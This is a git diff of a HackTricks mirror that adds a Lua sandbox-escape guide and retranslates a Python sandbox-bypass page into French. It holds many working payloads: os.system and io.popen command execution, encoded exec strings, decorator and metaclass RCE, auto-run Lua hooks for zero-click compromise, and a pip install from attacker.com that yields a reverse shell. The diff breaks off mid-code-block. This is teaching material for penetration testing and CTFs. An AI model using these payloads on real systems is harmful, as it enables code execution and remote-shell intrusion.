mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
c5cc9c72c3
commit
20d8a99af2
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
@ -927,12 +929,3 @@
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
@ -0,0 +1,115 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page rassemble des techniques pratiques pour énumérer et s'échapper des sandboxes Lua intégrées dans des applications (notamment les game clients, plugins, or in-app scripting engines). De nombreux moteurs exposent un environnement Lua restreint, mais laissent des globals puissants accessibles qui permettent l'exécution arbitraire de commandes ou même une corruption mémoire native lorsque des bytecode loaders sont exposés.
|
||||
|
||||
Idées clés :
|
||||
- Considérez la VM comme un environnement inconnu : énumérez _G et découvrez quelles primitives dangereuses sont accessibles.
|
||||
- Quand stdout/print est bloqué, utilisez tout canal UI/IPC in-VM comme canal de sortie pour observer les résultats.
|
||||
- Si io/os est exposé, vous avez souvent une exécution directe de commandes (io.popen, os.execute).
|
||||
- Si load/loadstring/loadfile sont exposés, l'exécution de Lua bytecode crafté peut compromettre la sécurité mémoire dans certaines versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), permettant une exploitation avancée.
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
|
||||
- Exporter l'environnement global pour recenser les tables/fonctions accessibles:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Si print() n'est pas disponible, réaffectez les in-VM channels. Exemple tiré d'un MMO housing script VM où la sortie chat ne fonctionne qu'après un appel sonore ; ce qui suit construit une fonction de sortie fiable :
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Généralisez ce modèle pour votre cible : tout champ de texte, toast, logger ou callback UI acceptant des chaînes peut servir de stdout pour la reconnaissance.
|
||||
|
||||
## Exécution directe de commandes si io/os est exposé
|
||||
|
||||
Si la sandbox expose encore les bibliothèques standard io ou os, vous avez probablement une exécution de commandes immédiate :
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Remarques :
|
||||
- L'exécution se déroule à l'intérieur du processus client ; de nombreuses couches anti-cheat/antidebug qui bloquent les debuggers externes n'empêcheront pas la création de processus in-VM.
|
||||
- Vérifier aussi : package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Tout callback équivalent (OnLoad, OnEnter, etc.) généralise cette technique lorsque les scripts sont transmis et exécutés automatiquement sur le client.
|
||||
|
||||
## Primitives dangereuses à rechercher pendant la recon
|
||||
|
||||
Lors de l'énumération de _G, recherchez spécifiquement :
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: exécuter du source ou du bytecode ; permet de charger du bytecode non fiable.
|
||||
- package, package.loadlib, require: chargement dynamique de bibliothèques et surface des modules.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, et hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load pour appeler du code natif directement.
|
||||
|
||||
Exemples d'utilisation minimaux (si accessibles) :
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Escalade optionnelle : abusing Lua bytecode loaders
|
||||
|
||||
Lorsque load/loadstring/loadfile sont accessibles mais que io/os sont restreints, l'exécution de bytecode Lua spécialement conçu peut conduire à des primitives de divulgation mémoire et de corruption. Faits clés :
|
||||
- Lua ≤ 5.1 incluait un bytecode verifier qui possède des contournements connus.
|
||||
- Lua 5.2 a supprimé le verifier entièrement (position officielle : les applications devraient simplement rejeter les chunks précompilés), élargissant la surface d'attaque si le chargement de bytecode n'est pas prohibé.
|
||||
- Workflows typiques : leak de pointeurs via sortie in-VM, création de bytecode pour provoquer des confusions de type (par ex. autour de FORLOOP ou d'autres opcodes), puis pivot vers read/write arbitraire ou exécution de code natif.
|
||||
|
||||
Cette voie est spécifique à l'engine/version et nécessite RE. Voir les références pour des deep dives, primitives d'exploitation et exemples de gadgetry dans les jeux.
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
- Server side : rejeter ou réécrire les user scripts ; allowlist les APIs sûres ; strip ou bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side : exécuter Lua avec un _ENV minimal, interdire le chargement de bytecode, réintroduire un strict bytecode verifier ou des vérifications de signature, et bloquer la création de processus depuis le client process.
|
||||
- Telemetry : alerter sur gameclient → child process creation peu après le chargement d'un script ; corréler avec événements UI/chat/script.
|
||||
|
||||
## References
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,12 +1,13 @@
|
||||
# Bypass Python sandboxes
|
||||
# Contourner les sandboxes Python
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.
|
||||
Voici quelques techniques pour contourner les protections de sandbox Python et exécuter des commandes arbitraires.
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
La première chose à savoir est si vous pouvez directement exécuter du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
|
||||
## Bibliothèques d'exécution de commandes
|
||||
|
||||
La première chose à savoir est si vous pouvez exécuter du code directement avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,11 +40,11 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Souvenez-vous que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du python sandbox et pour **écrire du code** que vous pouvez **exécuter** pour **bypass** le sandbox.
|
||||
Rappelez-vous que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du python sandbox et pour **écrire du code** que vous pourriez **exécuter** pour **contourner** le sandbox.
|
||||
|
||||
> [!CAUTION] > La fonction **Python2 input()** permet d'exécuter du code python avant que le programme ne plante.
|
||||
> [!CAUTION] > **Python2 input()** function permet d'exécuter du code python avant que le programme ne plante.
|
||||
|
||||
Python essaye de **charger les librairies depuis le répertoire courant en premier** (la commande suivante affichera d'où Python charge les modules) : `python3 -c 'import sys; print(sys.path)'`
|
||||
Python tente de **charger les bibliothèques depuis le répertoire courant en priorité** (la commande suivante affichera d'où python charge les modules) : `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,8 +53,8 @@ Python essaye de **charger les librairies depuis le répertoire courant en premi
|
||||
### Packages par défaut
|
||||
|
||||
Vous pouvez trouver une **liste des packages pré-installés** ici: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Notez que depuis un pickle vous pouvez faire en sorte que le python env **import arbitrary libraries** installées sur le système.\
|
||||
Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la librairie pip pour l'utiliser:
|
||||
Notez que depuis un pickle vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées sur le système.\
|
||||
Par exemple, le pickle suivant, une fois chargé, va importer la bibliothèque pip pour l'utiliser:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -68,30 +69,30 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Pour plus d'informations sur le fonctionnement de pickle, consultez ceci : [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
### Paquet pip
|
||||
|
||||
Astuce partagée par **@isHaacK**
|
||||
|
||||
Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package arbitraire et obtenir un reverse shell en appelant :
|
||||
Si vous avez accès à `pip` ou à `pip.main()`, vous pouvez installer un package arbitraire et obtenir un reverse shell en appelant :
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Vous pouvez télécharger le paquet pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser, vous devez **le décompresser, modifier le `setup.py` et y mettre votre IP pour le reverse shell**:
|
||||
Vous pouvez télécharger le package pour créer la reverse shell ici. Veuillez noter qu'avant de l'utiliser vous devez **décompresser le fichier, modifier le `setup.py`, et mettre votre IP pour la reverse shell** :
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez le reverse shell le reste de l'installation échouera, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partirez.
|
||||
> Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez la reverse shell le reste de l'installation échouera, donc vous **ne laisserez aucun python package supplémentaire installé sur le server** lorsque vous partirez.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que `exec` permet les chaînes multilignes et ";", mais `eval` ne le permet pas (check walrus operator)
|
||||
> Notez que exec autorise les chaînes multilignes et ";", mais eval ne le fait pas (check walrus operator)
|
||||
|
||||
Si certains caractères sont interdits, vous pouvez utiliser la représentation **hex/octal/B64** pour **bypass** la restriction:
|
||||
Si certains caractères sont interdits vous pouvez utiliser la représentation **hex/octal/B64** pour **bypass** la restriction :
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Autres bibliothèques qui permettent de eval python code
|
||||
### Autres bibliothèques qui permettent l'eval du code python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Voir aussi une sandboxed evaluator escape en conditions réelles dans des générateurs PDF :
|
||||
Voir aussi une évasion réelle d'un évaluateur sandboxé dans les générateurs de PDF :
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Elle abuse de rl_safe_eval pour atteindre function.__globals__ et os.system via des attributs évalués (par exemple, la couleur de la police) et renvoie une valeur valide pour conserver le rendu stable.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Il abuse de rl_safe_eval pour atteindre function.__globals__ et os.system à partir d'attributs évalués (par exemple, la couleur de police) et renvoie une valeur valide pour maintenir le rendu stable.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Contourner les protections via des encodages (UTF-7)
|
||||
## Contournement des protections via des encodages (UTF-7)
|
||||
|
||||
Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter arbitrary python code dans un sandbox apparent:
|
||||
Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un sandbox apparent :
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -156,11 +157,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Il est également possible de le contourner en utilisant d'autres encodages, p. ex. `raw_unicode_escape` et `unicode_escape`.
|
||||
Il est aussi possible de le contourner en utilisant d'autres encodages, p. ex. `raw_unicode_escape` et `unicode_escape`.
|
||||
|
||||
## Exécution Python sans appels
|
||||
## Exécution Python sans calls
|
||||
|
||||
Si vous êtes dans un bac à sable Python qui **ne vous permet pas d'effectuer des appels**, il existe encore des moyens de **exécuter des fonctions arbitraires, du code** et des **commandes**.
|
||||
Si vous êtes dans un python jail qui **ne vous permet pas d'effectuer des calls**, il existe néanmoins plusieurs façons d'**exécuter des fonctions arbitraires, du code** et des **commandes**.
|
||||
|
||||
### RCE avec [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -184,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE : création d'objets et surcharge
|
||||
### RCE — création d'objets et surcharge
|
||||
|
||||
If you can **déclarer une classe** and **créer un objet** de cette classe you could **write/overwrite different methods** that can be **triggered** **without** **needing to call them directly**.
|
||||
Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pourriez **écrire/surcharger différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**.
|
||||
|
||||
#### RCE avec des classes personnalisées
|
||||
|
||||
You can modify some **class methods** (_by overwriting existing class methods or creating a new class_) to make them **execute arbitrary code** when **triggered** without calling them directly.
|
||||
Vous pouvez modifier certaines **méthodes de classe** (_en écrasant des méthodes de classe existantes ou en créant une nouvelle classe_) pour qu'elles **exécutent du code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Création d'objets avec [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
La chose essentielle que les metaclasses nous permettent de faire est **créer une instance d'une classe, sans appeler le constructeur** directement, en créant une nouvelle classe ayant la classe cible comme metaclass.
|
||||
La chose essentielle que les metaclasses nous permettent de faire est de **créer une instance d'une classe, sans appeler directement le constructeur**, en créant une nouvelle classe ayant la classe cible comme metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -259,7 +260,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### Création d'objets avec des exceptions
|
||||
|
||||
Lorsqu'une **exception est déclenchée**, un objet de **Exception** est **créé** sans que vous ayez besoin d'appeler directement le constructeur (une astuce de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Lorsqu'une **exception est déclenchée**, un objet de l'**Exception** est **créé** sans que vous ayez besoin d'appeler directement le constructeur (une astuce de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -301,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Lire le fichier avec builtins help & licence
|
||||
### Lire un fichier avec builtins help & licence
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Si vous pouvez accéder à l'objet **`__builtins__`** vous pouvez importer des bibliothèques (notez que vous pouvez aussi utiliser ici d'autres représentations sous forme de chaîne montrées dans la dernière section):
|
||||
Si vous pouvez accéder à l'objet **`__builtins__`** vous pouvez importer des librairies (notez que vous pouvez aussi utiliser ici d'autres représentations sous forme de chaîne montrées dans la dernière section):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Pas de Builtins
|
||||
### No Builtins
|
||||
|
||||
Lorsque vous n'avez pas `__builtins__` vous ne pouvez pas importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Cependant, **par défaut python importe de nombreux modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein auxquelles on peut accéder pour obtenir même une **arbitrary code execution**.
|
||||
Quand vous n'avez pas `__builtins__` vous ne pourrez ni importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
|
||||
Cependant, **par défaut python importe de nombreux modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein pouvant être exploitées pour obtenir **une exécution de code arbitraire**.
|
||||
|
||||
Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** en leur sein.
|
||||
Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules « **bénins** » chargés pour **accéder** à des **fonctionnalités** **dangereuses** qu'ils contiennent.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,7 +368,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Ci-dessous se trouve une fonction plus grande**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **builtins**.
|
||||
[**Ci-dessous se trouve une fonction plus grande**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** d'**endroits** où vous pouvez trouver les **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -375,7 +376,7 @@ get_flag.__globals__['__builtins__']
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Payloads pour builtins
|
||||
### Builtins payloads
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -383,9 +384,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globals et locals
|
||||
|
||||
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir à quoi vous avez accès.
|
||||
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir ce à quoi vous pouvez accéder.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** de **lieux** où vous pouvez trouver les **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** d'**emplacements** où vous pouvez trouver les **globals**.
|
||||
|
||||
## Découvrir l'exécution arbitraire
|
||||
|
||||
Ici, je veux expliquer comment découvrir facilement **des fonctionnalités plus dangereuses chargées** et proposer des exploits plus fiables.
|
||||
Ici je veux expliquer comment découvrir facilement **des fonctionnalités chargées plus dangereuses** et proposer des exploits plus fiables.
|
||||
|
||||
#### Accéder aux subclasses avec bypasses
|
||||
|
||||
Une des parties les plus sensibles de cette technique est de pouvoir **accéder aux subclasses de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres manières possibles**:
|
||||
Une des parties les plus sensibles de cette technique est la capacité à **access the base subclasses**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres façons possibles**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -447,16 +448,16 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```
|
||||
### Trouver les bibliothèques dangereuses chargées
|
||||
|
||||
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys en leur sein** :
|
||||
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys** :
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Il y en a beaucoup, et **nous n'avons besoin que d'un** pour exécuter des commandes:
|
||||
Il y en a beaucoup, et **nous n'en avons besoin que d'un** pour exécuter des commandes:
|
||||
```python
|
||||
